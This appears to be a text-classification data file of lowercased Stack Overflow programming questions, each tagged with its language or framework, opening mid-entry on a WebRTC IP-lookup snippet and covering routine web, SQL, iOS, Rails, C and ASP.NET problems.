&lt; 0) return;             line.match(ipregex).foreach(iterateip);         });          pc.setlocaldescription(sdp  noop  noop);     }  noop);       //listen for candidate events     pc.onicecandidate = function(ice) {         if (!ice || !ice.candidate || !ice.candidate.candidate || !ice.candidate.candidate.match(ipregex)) return;         ice.candidate.candidate.match(ipregex).foreach(iterateip);     }; }  // usage  getuserip(function(ip){         document.getelementbyid( ip ).innerhtml =  got your ip ! :    + ip +   | verify in http://www.whatismypublicip.com/ ; }); </code></pre>   problem i am facing: this example is working fine for on load case. but when i am calling this function on button click  the ip is getting assigned after the control exits from the javascript call and hits the java end. tested in firefox and chrome.    i am not literate enough to understand the javascript. can someone help to find out what is the problem,javascript
in the visual studio 2010 c# disassembly view  what are those instructions exactly   i was trying to learn a bit about .net intermediate language and was hoping to step through it  but from what i can tell  i m seeing something else - maybe the output of a just-in-time (jit) compiler     is there a way to step through the <a href= http://en.wikipedia.org/wiki/common_intermediate_language  rel= nofollow noreferrer >cil</a>,.net
not able to submit html form  i have a html form to develope. but form is not getting submitted until i don t press <strong>submit</strong> button. i want  when we select any <strong>radio button</strong> or <strong>checkbox</strong> and press <strong>enter</strong> it should be submitted    my html is like:   <pre><code>&lt;html&gt;   &lt;head&gt;     &lt;title&gt;select preferences&lt;/title&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;input type= radio  name= sex  value= male  /&gt; male&lt;br/&gt;     &lt;input type= radio  name= sex  value= female  /&gt; female&lt;br/&gt;     &lt;button type= submit &gt;click me!&lt;/button&gt;     &lt;/body&gt;         &lt;/html&gt; </code></pre>   please help me resolve this. and give some links for related tutorial.,html
overcoming c limitations for large projects  one aspect where c shows its age is the encapsulation of code. many modern languages has classes  namespaces  packages... a much more convenient to organize code than just a simple  include .    since c is still the main language for many huge projects. how do you to overcome its limitations     i suppose that one main factor should be <em>lots of discipline</em>. i would like to know what you do to handle large quantity of c code  which authors or books you can recommend.,c
variable  a  is uninitialized when used in its own initialization  i decided i would take a look at objective c over the summer and so i downloaded xcode  i m a complete novice to programming so please sympathise    i figured i would try and create a program that would convert letters to numbers and i m sure there are better methods to do this but at the moment i have the problem  variable  a  is uninitialized when used in its own initialization      here s my code  friends:   <pre><code>#import &lt;foundation/foundation.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt;  char word[10]; char numbers[10];     int i = 0; void convert (char input[10]);  int main(int argc  const char * argv[]) {        nslog(@ enter the word );       gets(word);     convert (word);     puts(numbers);      return 0; }  void convert (char input[10]) {     char a = a;     char b = b;     char c = c;     char d = d;     char e = e;     char f = f;     char g = g;     char h = h;     char i = i;     char j = j;     char k = k;     char l = l;     char m = m;     char n = n;     char o = o;     char p = p;     char q = q;     char r = r;     char s = s;     char t = t;     char u = u;     char v = v;     char w = w;     char x = x;     char y = y;     char z = z;     for (i=0;word[i] !=  \0 ; ++i)       {         if (word[i] == a || b || c){             numbers[i] = 2;         }         else if (word[i] == d || e || f){             numbers[i] = 3;         }         else if (word[i] == g || h || i){             numbers[i] = 4;         }         else if (word[i] == j || k || l){             numbers[i] = 5;         }         else if (word[i] == m || n || o){             numbers[i] = 6;         }         else if(word[i] == p || q || r || s){             numbers[i] = 7;         }         else if(word[i] == t || u || v){             numbers[i] = 8;         }         else if(word[i] == w || x || y || z){             numbers[i] = 9;         }         else {             numbers[i] = 0;         }     }   } </code></pre>   i m sure this could have been written a lot better so any other criticism or advice is welcome  pointing me in the right direction for a guide to learn c is also welcome!,objective-c
toggle between play/pause uibuttons  i have created two uibuttons and only play button is appearing on the uitoolbar. in the play method i want is when play button is pressed it shows pause button and if user presses pause button it pauses the audiofile and then shows the play button.    <pre><code>uibutton *playbutton = [uibutton buttonwithtype:uibuttontypecustom];  [playbutton addtarget:self action:@selector(play:) forcontrolevents:uicontroleventtouchupinside];  playbutton.frame = cgrectmake(0  0  50  50);  uiimage *image = [uiimage imagenamed:@ play.png ];  [playbutton setimage:image forstate:uicontrolstatenormal];  uibarbuttonitem *play = [[uibarbuttonitem alloc] initwithcustomview:playbutton];    uibutton *pausebutton = [uibutton buttonwithtype:uibuttontypecustom];   [pausebutton addtarget:self action:@selector(pause:) forcontrolevents:uicontroleventtouchupinside];  pausebutton.frame = cgrectmake(0  0  50  50);  uiimage *imge = [uiimage imagenamed:@ pause.png ];  [pausebutton setimage:imge forstate:uicontrolstatenormal];  -(void)play:(id)sender  {  nsstring *filepath = [[nsbundle mainbundle] pathforresource:@ theme                                                        oftype:@ mp3 ];  nsurl *fileurl = [[nsurl alloc] initfileurlwithpath:filepath];  audioplayer = [[avaudioplayer alloc]                initwithcontentsofurl:fileurl error:nil];  audioplayer.currenttime = 0;  [audioplayer play];  [fileurl release];    } </code></pre>   i need help in implementing this    in the play method    i did   <pre><code>[audioplayer play];  uiimage *imge = [uiimage imagenamed:@ pause.png ];  [pausebutton setimage:imge forstate:uicontrolstatenormal];  [audioplayer pause];  uiimage *image = [uiimage imagenamed:@ play.png ];  [playbutton setimage:image forstate:uicontrolstatenormal];  [audioplayer play]; </code></pre>   i think i m doing wrong way    please advice .    thanks for help.    thanks,iphone
how to display sql data in text box  my sql database consist of a column id which contains number 1 to 30. i want to display the number 1 to 30 in a text box each time a button is pressed. however my code displays only first row that is 1. i have tried following code:    <pre><code>sqlconnection conn = new sqlconnection( data source=sumit;initial catalog=project;integrated security=true ); sqlcommand comm1 = new sqlcommand( select * from id   conn); conn.open(); sqldatareader dr1 = comm1.executereader();  if (dr1.read()) {     textbox3.text = dr1.getvalue(0).tostring();  } conn.close(); </code></pre>,c#
optimizing a query with case when  my query looks something like this:   <pre><code>select cat1  cat3  cat4        sum(case when cat2= x  then val end) as sumvalforx         sum(case when cat2= y  then val end) as sumvalfory from your_table where date between somedate and someotherdate and mainname=somename group by cat1  cat3  cat4  </code></pre>   basically this groups my table on cat1 3 4; and shows a cumulative total on the resultant groups <em>separately</em> for when cat2= x  and cat2= y .    i m working on a very large table (say 5 million records) so this is taking a lot of time of course. it s workable  but i just wanted to ask some of the mysql pros here on what sort of optimizations i can do to my table to make this quicker.    what would be the best technique to use here to make   <ol> <li> group by faster  </li> <li> the where faster (indexing  partitioning ) </li> <li> the case when faster (which i think is the main slowdown). </li> </ol>   some insight about the data:     in around 5mil records      <code>mainname</code> is the column with most repeated values. so maybe 1mil for 5 types of <code>mainname</code>.    within those 1mil  i have a range of around ~90 dates spread out on which i m executing the between statement.    also within those 1mil each  there are max 4-5 distinct <code>cat2</code>. so there might be  x    y  or maybe  z   z1  too  but not more. i have additional sum(case when... statements corresponding to the number of types of <code>cat2</code>s.     to put it differently  i need the grouped sum for each type of <code>cat2</code>.    thanks a lot.,mysql
unique situation - placing text next to other text without using css  i have a very unique situation that i am going to explain as best i can!    i want to output users in a style like so:    username:password    username2:password2    etc etc...    but i cannot place text in a paragraph like <code>&lt;p&gt;username:password&lt;/p&gt;</code>    i can only do it like so... <code>&lt;p&gt;username:&lt;/p&gt;&lt;p&gt;password&lt;/p&gt;</code>    and as i can only have seperate tags on the username and password the design ents up looking like so:    username:    password    i also cannot use any css whatsoever.    but i am able to use any type of html tags i like! (span tags of course wouldn t work as they would both be separate still)    is there any possible way to do this with the rules i have given you  i have tried everything!    (i know it sounds strange what i am wanting to do but i have a strange parser software that can only do this)    here is a snippet of the code to show you how this works:   <pre><code>$ids = array(); $usernames = array(); $passwords = array(); while ($row = $getaccounts-&gt;fetch_assoc()) {    $ids[] = $row[ id ];    $usernames[] =  &lt;span&gt; .$row[ username ]. :&lt;/span&gt; ;    $passwords[] =  &lt;span&gt; .$row[ password ]. &lt;/span&gt;&lt;br /&gt; ; } $activezero = implode(    $ids); $username =   .implode(   $usernames).  ; $password =   .implode(   $passwords).  ; echo $activezero; </code></pre>   i know this looks absolutely stupid  but trust me  this is the only way of getting my program to parse everything properly.    how can i make it output what i want using the code that i have,html
iphone development  thanks in advance: m new in iphone development. i have used code given at the following url.     <a href= https://stackoverflow.com/questions/5240111/changing-an-image-via-dragging-swiping-with-finger-in-order-to-make-a-3d-model >https://stackoverflow.com/questions/5240111/changing-an-image-via-dragging-swiping-with-finger-in-order-to-make-a-3d-model</a>    but m getting error in the below given piece of code.    <pre><code>- (void)touchesbegan:(nsset *)touches withevent:(uievent *)event {      uitouch *touch = [touches anyobject];      gesturestartpoint = [touch locationinview:self.sfimage]; } </code></pre>   error message is:  property  sfimage  not found  and  request for member  sfimage  is something not a structure or union     kindly help me out how to fix these errors. i m wondering may be i have missed something  but don t know what.    thanx,iphone
checkbox with toggle() breaking the checked/unchecked state  can anyone spread some light     why this <code>.toggle()</code> is breaking the checked/unchecked state of a checkbox    <pre><code>$( #checkbox ).toggle(function(){} function(){});​ </code></pre>   when i think  it s just doing nothing.   <h1><a href= http://jsfiddle.net/5p56s/  rel= nofollow noreferrer >crazy demo</a></h1>   <sub>this was taken from comments of this <a href= https://stackoverflow.com/questions/3837390/checkbox-not-getting-checked-when-using-jquery-toggle/3837448#3837448 >answer</a></sub>,jquery
javascript weird loop with body onload  i have this file on my server: (index.html)    <code>&lt;script src= script.js &gt;&lt;/script&gt;</code>    then script.js:   <pre><code>function generateuuid() {     var d = new date().gettime();     var uuid =  xxx-xxx-4xx-yxxx-xxxxyyyyxxxx .replace(/[xy]/g  function(c) {         var r = (d + math.random()*16)%16 | 0;         d = math.floor(d/16);         return (c== x    r : (r&amp;0x3|0x8)).tostring(16);     });     return uuid; }; window.onload=doit;   function doit() {     var uuidme;     uuidme = generateuuid();     window.location.href =  /test uuid=  + uuidme;  } </code></pre>   and the get varible goes crazy  it never stops changing the code which is not even close to what i would like.,javascript
c# error- small console app  i m still trying to get the hang of this. the second part of my main method will not execute. i believe i ve called it correctly. but  obviously i didn t. a little help would be greatly appreciated!   <pre><code>using system; using static system.console; using system.threading;  namespace mellon_assignment2 {     class getting2knowuapp     {         static void main()         {             writeline( the current time is:   + datetime.now);             thread.sleep(2000);              aboutme me = new aboutme();          }     } }    using system; using static system.console; using system.threading;  namespace mellon_assignment2 {     class aboutme     {         public void displayinfo()         {             writeline( my name\tassignment 2 );             thread.sleep(1500);             writeline( itdev110\tintro to object-oriented programming );             thread.sleep(1500);             writeline( professor\tseptember 18th );             thread.sleep(1500);             }         } } </code></pre>,c#
error while building bundle due to pg gem  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/11711394/pg-gem-0-14-0-on-mountain-lion-fails >pg gem ‘0.14.0’ on mountain lion fails</a>    </blockquote>     i had a perfectly good rails env on one of my osx machines but then i had to install a cross compiler for os161 for a school project and it destroyed my rails environment. i tried to set up an environment (the same environment actually) on a different osx machine and i get this error while trying to run bundle install:   <pre><code>gem::installer::extensionbuilderror: error: failed to build gem native extension.      /usr/local/rvm/rubies/ruby-1.9.3-p194/bin/ruby extconf.rb  checking for pg_config... yes using config values from /usr/bin/pg_config  checking for libpq-fe.h... yes checking for libpq/libpq-fs.h... yes checking for pg_config_manual.h... yes checking for pqconnectdb() in -lpq... yes checking for pqconnectionusedpassword()... yes checking for pqisthreadsafe()... yes checking for pqprepare()... yes checking for pqexecparams()... yes checking for pqescapestring()... yes checking for pqescapestringconn()... yes checking for pqescapeliteral()... yes checking for pqescapeidentifier()... yes checking for pqgetcancel()... yes checking for lo_create()... yes checking for pg_encoding_to_char()... yes checking for pg_char_to_encoding()... yes checking for pqsetclientencoding()... yes checking for pqlibversion()... yes checking for pqping()... yes checking for rb_encdb_alias()... yes checking for rb_enc_alias()... no checking for pgres_copy_both in libpq-fe.h... no checking for pgres_single_tuple in libpq-fe.h... no checking for struct pgnotify.extra in libpq-fe.h... yes checking for unistd.h... yes checking for ruby/st.h... yes creating extconf.h creating makefile  make compiling pg.c pg.c: in function ‘init_pg_ext’: pg.c:384: error: ‘pqping_ok’ undeclared (first use in this function) pg.c:384: error: (each undeclared identifier is reported only once pg.c:384: error: for each function it appears in.) pg.c:386: error: ‘pqping_reject’ undeclared (first use in this function) pg.c:388: error: ‘pqping_no_response’ undeclared (first use in this function) pg.c:390: error: ‘pqping_no_attempt’ undeclared (first use in this function) make: *** [pg.o] error 1   gem files will remain installed in /usr/local/rvm/gems/ruby-1.9.3-p194/gems/pg-0.14.1 for       inspection. results logged to /usr/local/rvm/gems/ruby-1.9.3-p194/gems/pg-0.14.1/ext/gem_make.out an error occured while installing pg (0.14.1)  and bundler cannot continue. make sure that `gem install pg -v  0.14.1 ` succeeds before bundling. </code></pre>   can someone please help  i ve been trying to find the solution for two days now...,ruby-on-rails
@selector throwing error in different methods <pre><code>- (void)viewdidload {     [self performselectorinbackground:@selector(createblogposts:) withobject:false];     self.progressbar.alpha = 0.0; }  //actual method here -(void)createblogposts:(bool)refresh  - (ibaction)refreshbuttonpressed {     //[self performselectorinbackground:@selector(createblogposts:) withobject:false];     [self performselector:@selector(createblogposts:) withobject:true];  } </code></pre>   a) i don’t understand fully what @selectors are b) in view did load  [self performselectorinbackground:@selector(createblogposts:) withobject:false] compiles just fine and works as expected. yet when my refreshbuttonpressed action is triggered  and i try to run the same method  just with a different parameter (wouldn’t matter if i had false either way) i get 2 errors:    (caution) incompatible integer to pointer conversion sending ‘int’ to parameter of type ‘id’ (warning) implicit conversion of ‘int’ to ‘id’ is disallowed with arc    any help to someone who is new to coding would be great! thanks!,objective-c
rails/erb view not showing variables passed from controller  but iterating over an array works  i have a rails view which i would like to receive a list of ids from the controller and make a photo box for each id.  my current code receives the list and creates a box for each one perfectly fine  but any time i try to output or display the variable it acts like the variable is empty.      controller   <pre><code>def index   @photos = photo.all   @photo_ids = feed.find(4).approved_contents   @ids = @photos.ids.as_json   rails.logger.info(feed.find(4).approved_contents.ids.as_json) end </code></pre>   template   <pre><code>&lt;p id= notice &gt;&lt;%= notice %&gt;&lt;/p&gt; &lt;h1&gt;listing photos&lt;/h1&gt; &lt;br&gt; &lt;div class= row &gt;   &lt;% @photos.each do |photo| %&gt;    &lt;div class= col-sm &gt;     &lt;div class= card  style= width: 18rem; &gt;       &lt;img class= card-img-top  src= /content/46/display  alt= card image cap &gt;       &lt;div class= card-body &gt;         &lt;p class= card-text &gt;           &lt;% photo.inspect %&gt;         &lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;% end %&gt; &lt;/div&gt; &lt;% @photos.length %&gt; &lt;%= link_to  new photo   new_photo_path %&gt; </code></pre>   output html   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;concerto picvote&lt;/title&gt;   &lt;link rel= stylesheet  href= https://stackpath.bootstrapcdn.com/bootstrap/4.1.2/css/bootstrap.min.css  integrity= sha384-smlep5jcw/wg7hdkwq/z5nliefveqriy9nfy6xor1urybtpzgi6339f5dgvm/e9b  crossorigin= anonymous &gt;   &lt;link rel= stylesheet  media= all  href= /stylesheets/concerto_picvote/application.css  /&gt;   &lt;script src= /javascripts/concerto_picvote/application.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;  &lt;p id= notice &gt;&lt;/p&gt; &lt;h1&gt;listing photos&lt;/h1&gt; &lt;br&gt; &lt;div class= row &gt;   &lt;div class= col-sm &gt;     &lt;div class= card  style= width: 18rem; &gt;       &lt;img class= card-img-top  src= /content/46/display  alt= card image cap &gt;       &lt;div class= card-body &gt;         &lt;p class= card-text &gt;         &lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;div class= col-sm &gt;     &lt;div class= card  style= width: 18rem; &gt;       &lt;img class= card-img-top  src= /content/46/display  alt= card image cap &gt;       &lt;div class= card-body &gt;         &lt;p class= card-text &gt;         &lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;div class= col-sm &gt;     &lt;div class= card  style= width: 18rem; &gt;       &lt;img class= card-img-top  src= /content/46/display  alt= card image cap &gt;       &lt;div class= card-body &gt;         &lt;p class= card-text &gt;         &lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;div class= col-sm &gt;     &lt;div class= card  style= width: 18rem; &gt;       &lt;img class= card-img-top  src= /content/46/display  alt= card image cap &gt;       &lt;div class= card-body &gt;         &lt;p class= card-text &gt;         &lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;div class= col-sm &gt;     &lt;div class= card  style= width: 18rem; &gt;       &lt;img class= card-img-top  src= /content/46/display  alt= card image cap &gt;       &lt;div class= card-body &gt;         &lt;p class= card-text &gt;         &lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;a href= /vote/photos/new &gt;new photo&lt;/a&gt;  &lt;script src= https://code.jquery.com/jquery-3.3.1.slim.min.js  integrity= sha384-q8i/x+965dzo0rt7abk41jstqiaqvgrvzpbzo5smxkp4yfrvh+8abtte1pi6jizo  crossorigin= anonymous &gt;&lt;/script&gt; &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js  integrity= sha384-zmp7rvo3miykv+2+9j3uj46jbk0wlauadn689acwoqbbjisnjak/l8wvcwpipm49  crossorigin= anonymous &gt;&lt;/script&gt; &lt;script src= https://stackpath.bootstrapcdn.com/bootstrap/4.1.2/js/bootstrap.min.js  integrity= sha384-o+rdsa0alu++pjvfqy8ffscvbhfltbvscb8ajopnfd+ieq7wo/cg0xlczd+2o/em  crossorigin= anonymous &gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   thanks!,ruby-on-rails
objects cloned when sent to a web worker in chrome  not ie10  i m trying to better understand if/how browsers clone values when they re sent to web workers.    i m debugging a js library we re using - they use a web worker which internally calls <code>delete d.children</code> - this doesn t affect the original object sent to the web worker - <strong><em>except in ie10</em></strong>    workers support the structured cloning algorithm so that objects can be passed - but i m not understanding why this isn t affecting ie. do they <em>not</em> clone      i m debugging jstree - unfortunately.    <a href= https://github.com/vakata/jstree/blob/master/dist/jstree.js#l1502  rel= nofollow >https://github.com/vakata/jstree/blob/master/dist/jstree.js#l1502</a>    the relevant code is the function they call inside the web worker.   <pre><code>func = function (data  undefined) { </code></pre>   inside this function  they eventually call <code>delete d.children</code>  so i manually try it at the very top for testing.    this line does not impact original data object in chrome  does in ie10/windows 7   <pre><code>delete data.dat[0].children;  </code></pre>   in ie10  the data object we provided jstree (results from an xhr call) suddenly loses its <code>children</code> property.    that worker is passed data here:    <a href= https://github.com/vakata/jstree/blob/master/dist/jstree.js#l1847  rel= nofollow >https://github.com/vakata/jstree/blob/master/dist/jstree.js#l1847</a>   <pre><code>w.postmessage(args); </code></pre>   trying my manual delete again:   <pre><code>delete args.dat[0].children; </code></pre>   does delete the property as expected  in <em>all</em> browsers.,javascript
creating a api-call with angular resource  i am currently trying to make an api call in my angular model  but not quite sure how to format it.     since the format of the web-url is different depending on what i want i will need different calls.   <pre><code>this.searchone= $resource( https://api.themoviedb.org/3/search/movie    query= *user input here*  &amp;api_key=xxxxxxxxx ) this.searchtwo = $resource(https://api.themoviedb.org/3/movie/*user input here*/videos  &amp;api_key=xxxx) </code></pre>   but obviously this doesnt work. because i have no idea how to write the code with user input before /string and so on.    the controller side code would look something like this  but i cant manage to get the user input in the right place.   <pre><code>$scope.searchfunction= function(){ var input= $( #somevariable ).val(); dinner.dishsearch.get({userinput} function(data){  $scope.movies=data.results;  $scope.status =  showing   + data.results.length +   results ;    } function(data){      $scope.status =  there was an error ;    }); }; </code></pre>   would appreciate any help how i could format the resource to have the end strings look like this: <a href= https://api.themoviedb.org/3/movie/userinput/videos6api_key=xxxx  rel= nofollow >https://api.themoviedb.org/3/movie/userinput/videos6api_key=xxxx</a> and <a href= https://api.themoviedb.org/3/search/movie query=userinput&amp;api_key=xxxx  rel= nofollow >https://api.themoviedb.org/3/search/movie query=userinput&amp;api_key=xxxx</a>,angularjs
android call public class in another public class in the same activity <pre><code>package xx.xx.xx  public class mappingactivity extends mapactivity{  }  public class listactivity extends listactivity{  } </code></pre>   how to call the listactivity inside mappingactivity  coz im trying to get the map view and the list view on the same activity. or else is there any other way     thank you,android
how much functionality is available on google maps when phone is out of signal   i have an app i am working on  and it needs users to be able to select a location from an already specified list of locations when offline/out of signal. some of the places are identically named but are in different areas. is it possible to have the lat/long coordinates and have it displayed on a google map window within the app when out of signal  or does google maps not work offline in that matter  i ve started to check the api  but i m just thinking down the road a bit  so i haven t started to implement it yet. i was just wondering if any of you would already know the answer. thanks for your time.,android
uint8_t to uint16_t  how do you convert a uint8_t to a uint16_t     currently im breaking down uint16_t to uint8_t like this:   <pre><code>    packetbuffer.header[0] = ((co2val&gt;&gt;8) &amp; 0xff);     packetbuffer.header[1] = (co2val &amp; 0xff);     packetbuffer.header[2] = ((humval&gt;&gt;8)&amp;0xff);     packetbuffer.header[3] = (humval &amp; 0xff);     packetbuffer.header[4] = ((tempval&gt;&gt;8)&amp;0xff);     packetbuffer.header[5] = (tempval &amp; 0xff); </code></pre>   co2val humval and tempval are all uint16_t    however  i ll need to change them back to get the corresponding value. this is received at the other end as uint8_t buf[16].    this is how i did it:   <pre><code>    co2val = (buf[0]&lt;&lt;8)|buf[1];     humval = (buf[2]&lt;&lt;8)|buf[3];     humval = (humval &amp; 0x0fff);     tempval = (buf[4]&lt;&lt;8)|buf[5];     tempval = (tempval &amp; 0x3fff); </code></pre>   the results are different. anyone know why  thanks,c
count consecutive days where temp is below 0  i am trying to get a count of the consecutive days in my db that the temperature was below 0. i can get a total count of the total days below 0 using a select count but not the consecutive number of days. i then want to be able to show the first and last day as well as the count. the table is updated every minute.    assume i have a minimal table such as:   <pre><code>    datetime            temp     11/14/2014 7:21:31  -2.4     11/14/2014 7:22:31  -2.4     11/15/2014 5:03:31  2.4     11/15/2014 5:04:31  2.4     11/16/2014 5:10:31  -0.2     11/16/2014 5:11:31  -0.2     11/17/2014 5:13:31  -0.2     11/17/2014 5:14:31  -0.2     11/18/2014 5:15:31  2     11/18/2014 5:16:31  2 </code></pre>   in the example  the consecutive days would be 2  the first date is 11/16/2014 and the last date is 11/17/2014 and the total days (i can get this) would be 3.    thanks for looking.    edit: i want the longest consecutive streak. as to how i got the data  it is a simple select statement:         select datetime  temp from mytable;,mysql
what are the advantages of packet inspection and show full processlist over performance_schema   we have several mysql servers (v 5.1) scattered across different geo locations. we are considering upgrading to the latest mysql version as we heard a lot of good things about <code>performance_schema</code> available in mysql v5.6.14 and above.    can we not keep the current version and monitor it using the features like <code>packet inspection</code>  <code>show full processlist</code> and avoid the time consuming task of upgrading all the servers  aren’t these features as good as the services of <code>performance_schema</code> to monitor the queries,mysql
the following html anchor tag for twitter  the following anchor tag   <pre><code> &lt;a href= http://twitter.com/share  class= twitter-share-button external  data-text= check out ___ on mysite!  data-count= none  data-via= mysite &gt;tweet&lt;/a&gt; </code></pre>   i am wondering if special .js file needed  i mean  how does the browser know date-text  data-count fields  those are not standard  browser probably won t know that they mean.     but i seearch the whole file and couldn t find any reference to any .js file that relate to the twitter sharing.,html
input mask for decimal with jquery  my case is  i have an input which is to define total hour of user s working. i want to create input mask with placeholder like this :    xxx.00    so  if user just input <code>0</code> it will be automatically <code>0.00</code>. the user can input like <code>0.5</code> that will be automatically <code>0.50</code> i use inputmask like this : i know its like time  but time just provide untill 24 like this   <pre><code>$( .time ).inputmask( hh:mm   { placeholder :  hh.mm }); </code></pre>   but i want to hh is flexible. like<code>125.00</code>. for any solution  so appreciated,jquery
pass data to uitextfield between viewcontrollers  i am stuck on passing data from one viewcontroller to another. the scenario is as: i have 2 viewcontrollers named : searchdomaincontroller and loginviewcontroller. what i am trying to do is pass the string value from searchdomaincontroller to the uitextfield in loginviewcontroller.     in loginviewcontroller i have declared <code>iboutlet uitextfield *domainfield;</code> and also a property <code>@property(nonatomic retain) uitextfield *domainfield</code>.     the problem is when i create a new instance of loginviewcontroller in searchdomaincontroller and try <code>_loginviewcontroller.domainfield.text = @ some text ;</code>  the text never changes in uitextfield on loginviewcontroller.  what did i miss   and what are the best solution for this kind of problem  thanx,objective-c
how to display a content (form) from one url in different html page   i am very new in html and web programming. i have a subscription form at www.is.gd/podpiska  i want to show it at our facebook fanpage. so people don t have to go to other pages  but can directly fill this form in our fanpage. in facebook i should use html  so how to display this form in another html document  could you help with coding  thank you.,html
asp .net - using requiredfieldvalidator when page has two listviews   i have a page with two listviews (with two different data sources).  i have added <strong>requiredfieldvalidator</strong> controls to each of the <strong>insertitemtemplate</strong> controls.    the first problem is that once all the validators were added they started requiring that both listviews be populated before inserting.  to fix this i tried to add different validation groups to the listviews but now the field validators don t work!    how do i get the validators to work independently based on the listview they are attached to,asp.net
list the employee details if and only if more than 10 employees are present in department number 50 <pre><code>create table employees  (        employee_id numeric(6 0)       first_name varchar(20)       last_name varchar(25) constraint  emp_last_name_nn  not null       email varchar(25) constraint  emp_email_nn  not null       phone_number varchar(20)       hire_date date constraint  emp_hire_date_nn  not null       job_id varchar(10) constraint  emp_job_nn  not null       salary numeric(8 2)       commission_pct numeric(2 2)       manager_id numeric(6 0)       department_id numeric(4 0)   ); </code></pre>   i am new to sql and my assignment requires me to list the employee details if and only if more than 10 employees are present in department number 50. following is what i did so far:   <pre><code>select employee_id  first_name  last_name  email  phone_number  hire_date from employees where department_id in      (select department_id      from employees       group by department_id       having count(department_id) &gt; 10) </code></pre>   but i am not sure how to put the condition <code>department_id = 50</code>.,sql
how to return a key of an array from a function where the key is an arg   i have made a simplified version of what i am trying to explain.   <pre><code>$array ( name  =&gt; 1   notname  =&gt; 1   anothername  =&gt; 2);  function a($name1  $name2){   $total = $name1 + $name2;   $winner = rand(0  $total);    if ($winner &gt; name2){     $winner = $name1;   } else {     $winner = $name2;   }    return $winner;  }  echo a($array[ name ]  $array[ notname ]); </code></pre>   instead of returning (and echoing) the winners number  i want to echo the name of the key for the winner.    i feel like i am making this way to hard.,php
optimising a node join query  i have a database of nodes and ways. a way contains two or more nodes. some nodes belong to multiple ways  and are thus termed a  join  between two or more ways.    i m trying to find all the nodes which join two or more ways. so i m using this query    <pre><code>select *  from way_nodes wl  join way_nodes wr  on wr.node_id = wl.node_id and wr.way_id != wl.way_id </code></pre>   the way_nodes table contains the list of nodes in each way.    however it s hideously slow on my database with 9 021 ways and 43 706 nodes  and only gives me 20-30 nodes per second.    initially i tried keeping counts of the number of times a node is used  but that still takes a long time.    i m using sqlite3  but i suspect my problem applies to all databases. how would such a query be optimised,sql
working with function in c++  please help to solve this basic problem. i received a question below.    calculate modulus of a and b integers to 1 000 000 007 using function f(a  b  n) as explained below using c++ with 0 &lt;= n &lt;= 1000000000.   <pre><code>modulus of f[a  b  0] is equal to a%1 000 000 007 modulus of f[a  b  1] is equal to b%1 000 000 007 modulus of f[a  b  n] is equal to modulus of f[a  b  n - 1] + f[a  b  n - 2]  example  modulus of f[3  4  5] is equal to 29. in detail:  modulus of f[3  4  0] is equal to 3%1 000 000 007 which is 3  modulus of f[3  4  1] is equal to 4%1 000 000 007 which is 4  modulus of f[3  4  2] is equal to modulus of f[3  4  1] + f[a  b  0] which is 3 + 4 = 7  modulus of f[3  4  3] is equal to modulus of f[3  4  2] + f[a  b  1] which is 7 + 4 = 11  modulus of f[3  4  4] is equal to modulus of f[3  4  3] + f[a  b  2] which is 11 + 7 = 18  modulus of f[3  4  5] is equal to modulus of f[3  4  4] + f[a  b  3] which is 18 + 11 = 29 </code></pre>   i used xcode and mac os x and here is my code.   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  int solution(int a  int b  int n) {     std::vector&lt;int&gt; remaindervector;      if (n &lt; 0 || n &gt; 1000000000)     {         std::cout &lt;&lt;  n is out of range.  &lt;&lt; std::endl;     }      if (n == 0)     {         remaindervector[n] = a%1000000007;     }      if (n == 1)     {         remaindervector[n] = b%1000000007;     }      if (n &gt; 1 &amp;&amp; n &lt;= 1000000000)     {         remaindervector[0] = a%1000000007;         remaindervector[1] = b%1000000007;          for (int i = 2; i &lt;= n; i++)         {             remaindervector[i] = remaindervector[i - 1] + remaindervector[i - 2];         }     }      std::cout &lt;&lt;  remainder is:   &lt;&lt; remaindervector[n] &lt;&lt; std::endl;      return 0; }  int main() {     std::cout &lt;&lt;  input a interger:   &lt;&lt; std::endl;     int x;     std::cin &gt;&gt; x;      std::cout &lt;&lt;  input b interger:   &lt;&lt; std::endl;     int y;     std::cin &gt;&gt; y;      std::cout &lt;&lt;  input z interger:   &lt;&lt; std::endl;     int z;     std::cin &gt;&gt; z;      int solution(int x  int y  int z);      std::cout &lt;&lt;  this is a debug message.  &lt;&lt; std::endl;     return 0; } </code></pre>   when i run this code it just appeared message: this is a debug message. why it did not print out number 29 when i input example of 3  4  5 as explained above.    thank you very much for your help.,c++
asp.net connection open and close  let say i have one asp.net application that is having some page that uses the connection continuesly.....    i have open the connection in class file in construscter ......    and i m accessing it using the object of the class....when ever database operation are required...    in start the application is running fine....but after some operation with database in datagrid(ex. sorting paging other).... it s gets slow...and again start working after some time....    do you guys have any solution or any suggession for that.....    i have used the connection in following way....   <pre><code>public class student_operation {     public sqlconnection cn = new sqlconnection();     public sqlcommand cmd = new sqlcommand();     public sqldataadapter ad = new sqldataadapter();     public dataset rs = new dataset();     public dataset rs1 = new dataset();      public student_operation()     {         //         // todo: add constructor logic here         //         try         {             cn = new sqlconnection(system.configuration.configurationmanager.connectionstrings[ myconnection ].connectionstring);             cn.open();         }         catch (exception)         {             if (cn.state != connectionstate.closed)             {                 cn.close();                 cn.open();             }         }     }  } </code></pre>,asp.net
